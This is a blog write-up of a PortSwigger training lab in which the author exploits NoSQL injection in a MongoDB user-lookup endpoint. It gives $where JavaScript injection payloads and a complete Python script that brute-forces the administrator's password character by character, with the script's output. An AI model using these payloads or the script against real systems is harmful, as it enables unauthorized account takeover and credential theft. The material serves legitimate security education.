Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Exploiting NoSQL injection to extract data | October 9, 2023

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting NoSQL injection to extract data! Without further ado, let’s dive in.

Background

The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.

To solve the lab, extract the password for the administrator user, then log in to their account.

You can log in to your own account using the following credentials: wiener:peter.

Enumeration

Home page:

In here, we can view and purchase some products.

Login as user wiener:

In the profile page, it’ll import a JavaScript file called userRole.js at /resources/js/:

[...]
<div id=account-content>
    <div id="user-details">
        <p id="username">Your username is: wiener</p>
        <p>Your email is: <span id="user-email"></span></p>
        <script src='/resources/js/userRole.js'></script>
    </div>
    <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
        <label>Email</label>
        <input required type="email" name="email" value="">
        <input required type="hidden" name="csrf" value="MHCAoDqK8lnYGrP1i1nEDMxtkAouj2s9">
        <button class='button' type='submit'> Update email </button>
    </form>
</div>
[...]

userRole.js:

const appendFromUser = (user) => {
    const email = user.email;
    if (email) {
        document.querySelector("#user-details #user-email").textContent = email;
    }

    const role = user.role;
    if (role) {
        document.querySelector("#user-details #username").textContent += ` (role: ${role})`;
    }
};

const appendUserDetails = () => {
    const url = new URL(location);

    fetch(`//${url.host}/user/lookup?user=${encodeURIComponent(url.searchParams.get('id'))}`)
        .then(res => res.json())
        .then(appendFromUser);
};

appendUserDetails();

When the GET parameter id is provided in the /my-account endpoint, it’ll send a GET request to /user/lookup?user=<id>.

Hmm… I wonder if this endpoint’s id GET parameter is vulnerable to NoSQL injection…

Now, what if I insert a single quote (') or a double quote (") character?

If we provide a single quote character, it respond “There was an error getting user details”, and double quote respond “Could not find user”.

That being said, we found a syntax injection in /user/lookup?user=<id>!

Exploitation

Exploiting syntax injection to extract data:

In many NoSQL databases, some query operators or functions can run limited JavaScript code, such as MongoDB’s $where operator and mapReduce() function. This means that, if a vulnerable application uses these operators or functions, the database may evaluate the JavaScript as part of the query. You may therefore be able to use JavaScript functions to extract data from the database.

Exfiltrating data in MongoDB:

Consider a vulnerable application that allows users to look up other registered usernames and displays their role. This triggers a request to the URL:

https://insecure-website.com/user/lookup?username=admin

This results in the following NoSQL query of the users collection:

{
    "$where": "this.username == 'admin'"
}

As the query uses the $where operator, you can attempt to inject JavaScript functions into this query so that it returns sensitive data. For example, you could send the following payload:

admin' && this.password[0] == 'a' || 'a'=='b

This returns the first character of the user’s password string, enabling you to extract the password character by character.

You could also use the JavaScript match() function to extract information. For example, the following payload enables you to identify whether the password contains digits:

admin' && this.password.match(/\d/) || 'a'=='b

Armed with above information, we can try to extract user administrator account’s password!

But before we do that, I want to confirm the administrator account is really exist or not:

It does exist!

Then, since the lookup function is vulnerable to syntax injection, we should be able to extract the database’s data with the help of the $where operator.

administrator' && this.password[0] == '<character_here>' || 'a'=='b

Note: We could assume the password field is called password.

If we try the first character is a:

It respond “Could not find user”.

But if we find the first correct character, it’ll response us with the user’s details:

To automate this process, we can write a simple Python script to extract user administrator’s password!

However, let’s see if we still be able to lookup any user without authentication:

Nope. So we need to be authenticated.

Therefore, we can write the following script:

import requests
from bs4 import BeautifulSoup
from string import ascii_letters

class Exploit:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.session = requests.Session()

    def getCSRFToken(self):
        print('[*] Fetching the CSRF token...')
        global LOGIN_ENDPOINT
        LOGIN_ENDPOINT = '/login'
        csrfTokenRespond = self.session.get(f'{self.baseUrl}{LOGIN_ENDPOINT}')
        
        soup = BeautifulSoup(csrfTokenRespond.text, 'html.parser')
        csrfToken = soup.find('input', {'name':'csrf'}).get('value')
        sessionCookie = self.session.cookies.get_dict()['session']
        print(f'[+] Fetched the CSRF token: {csrfToken}')
        print(f'[+] Session cookie: {sessionCookie}')
        return csrfToken

    def login(self):
        csrfToken = self.getCSRFToken()
        username = 'wiener'
        password = 'peter'
        loginData = {
            'csrf': csrfToken,
            'username': username,
            'password': password
        }
        print('[*] Logging in to the web application...')
        loginRespond = self.session.post(f'{self.baseUrl}{LOGIN_ENDPOINT}', data=loginData)
        if loginRespond.status_code == 400:
            print('[-] Login failed... Maybe the CSRF token is incorrect?')
            print(f'[-] Response text:\n{loginRespond.text}')
            exit(1)
        print('[+] Login successfully!')

    def extractData(self):
        USER_LOOKUP_ENDPOINT = '/user/lookup'
        USER_LOOK_PARAMETER = 'user'
        TARGET_USERNAME = 'administrator'
        LAST_CHARACTER = ascii_letters[-1]
        print(f'[*] Extracting {TARGET_USERNAME}\'s password...')
        password = ''
        stringPosition = 0
        while True:
            for character in ascii_letters:
                print(f'[*] Trying character "{character}"...', end='\r')
                payload = requests.utils.quote(f"{TARGET_USERNAME}' && this.password[{stringPosition}] == '{character}' || 'a'=='b")
                userLookupRespond = self.session.get(f'{self.baseUrl}{USER_LOOKUP_ENDPOINT}?{USER_LOOK_PARAMETER}={payload}')
                userLookupRespondJson = userLookupRespond.json()
                isLastCharacter = character == LAST_CHARACTER
                if 'message' in userLookupRespondJson:
                    if isLastCharacter:
                        print('[-] Looped all possible characters, no luck. Maybe we found all the password characters?')
                        print(f'[*] Password: {password}')
                        exit(1)
                    continue
                stringPosition += 1
                password += character
                print(f'[+] Found correct character "{character}". Current password: {password}')
                break

if __name__ == '__main__':
    baseUrl = 'https://0ade00e60326fdd58cade324003900c8.web-security-academy.net'
    exploit = Exploit(baseUrl)

    exploit.login()
    exploit.extractData()

This script will basically loop through all possible characters (including lower and upper case alphabet) to find the correct password.

Output:

┌[siunam♥Mercury]-(~/ctf/Portswigger-Labs/NoSQL-Injection/NoSQLi-3)-[2023.10.09|16:01:18(HKT)]
└> python3 extract_data.py
[*] Fetching the CSRF token...
[+] Fetched the CSRF token: yWGh7t8Bdtt2W5bpqn2F89M2quAV1wEn
[+] Session cookie: zRZ9yAEKQidKlpEOnFofw8wN2yPe4p7c
[*] Logging in to the web application...
[+] Login successfully!
[*] Extracting administrator's password...
[+] Found correct character "w". Current password: w
[+] Found correct character "n". Current password: wn
[+] Found correct character "o". Current password: wno
[+] Found correct character "u". Current password: wnou
[+] Found correct character "q". Current password: wnouq
[+] Found correct character "v". Current password: wnouqv
[+] Found correct character "n". Current password: wnouqvn
[+] Found correct character "u". Current password: wnouqvnu
[-] Looped all possible characters, no luck. Maybe we found all the password characters?
[*] Password: wnouqvnu

After extracting the password, we can logout our wiener user account, and log back in to the administrator account:

Nice! I’m now user administrator!

Conclusion

What we’ve learned:

  1. Exploiting NoSQL injection to extract data